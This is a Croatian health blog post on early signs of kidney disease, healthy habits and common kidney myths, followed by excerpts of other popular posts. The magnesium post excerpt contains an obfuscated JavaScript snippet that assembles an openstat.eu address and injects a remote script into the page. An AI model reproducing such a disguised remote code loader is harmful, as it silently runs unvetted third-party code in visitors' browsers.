KAKO PREPOZNATI DA BUBREZI NE RADE?




Kako prepoznati da bubrezi ne rade?



Bubrezi su naši saveznici za dobar život i zato ih moramo paziti i maziti kako bi što dulje radili dobro.




Prvi simptomi problema s bubrezima 

Bubrežna bolest u početku često ne boli i može se razvijati tiho, pa je zato važno obratiti pažnju na rane znakove. Ako primijetite promjene u mokrenju češće odlaske na toalet osobito noću, pjenasti ili tamniji urin ili smanjenu količinu mokraće to može biti prvi signal da bubrezi ne rade kako treba. Oticanje stopala, gležnjeve ili područja oko očiju također može upućivati na zadržavanje tekućine.

Umor, slabost i manjak koncentracije ponekad su posljedica slabijeg rada bubrega. Gubitak apetita, mučnina ili neugodan okus u ustima, često je i povišeni krvni tlak.




Promjene za zdravlje bubrega 

Jedna od ključnih promjena je smanjiti unos soli. Pretjeran unos soli povisuje krvni tlak i opterećuje bubrege. Treba smanjiti unos šećera i zaslađenih pića jer šećer povećava rizik od razvoja dijabetesa i pretilosti što posredno oštećuje bubrege. 

Treba povećati unos voća, povrća i cjelovitih žitarica, održavati zdravu tjelesnu težinu, kretati se barem 30 minuta, prestati pušiti i smanjiti unos alkohola jer on može povisiti tlak. Uz to treba redovito kontrolirati krvni tlak i šećer u krvi.




Najčešći mitovi o zdravlju bubrega 


Ako me bubrezi ne bole sve je u redu

Netočno. Bolesti bubrega često godinama nemaju jasne simptome. Oštećenje može napredovati tiho bez bolova.



Moram piti puno vode da bih očuvao bubrege 

Pretjerivanje s vodom ne čisti dodatno bubrege ako su oni zdravi. Važna je umjerena i redovita hidracija prilagođena vašim potrebama.



Problemi s bubrezima pogađaju samo starije osobe

Iako su češći u starijoj dobi mogu se javiti i kod mlađih osobito kod osoba s povišenim krvnim tlakom i šećernom bolesti.



Biljni preparati su uvijek sigurni za bubrege 

Prirodno ne znači i bezopasno. Neki biljni pripravci i dodaci prehrani mogu opteretiti ili čak oštetiti bubrege osobito ako se uzimaju bez savjeta liječnika.



Ako su nalazi jednom bili dobri ne moram ih više kontrolirati 

Kod osoba s rizičnim čimbenicima potrebne su redovite kontrole jer se stanje može promijeniti.



Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više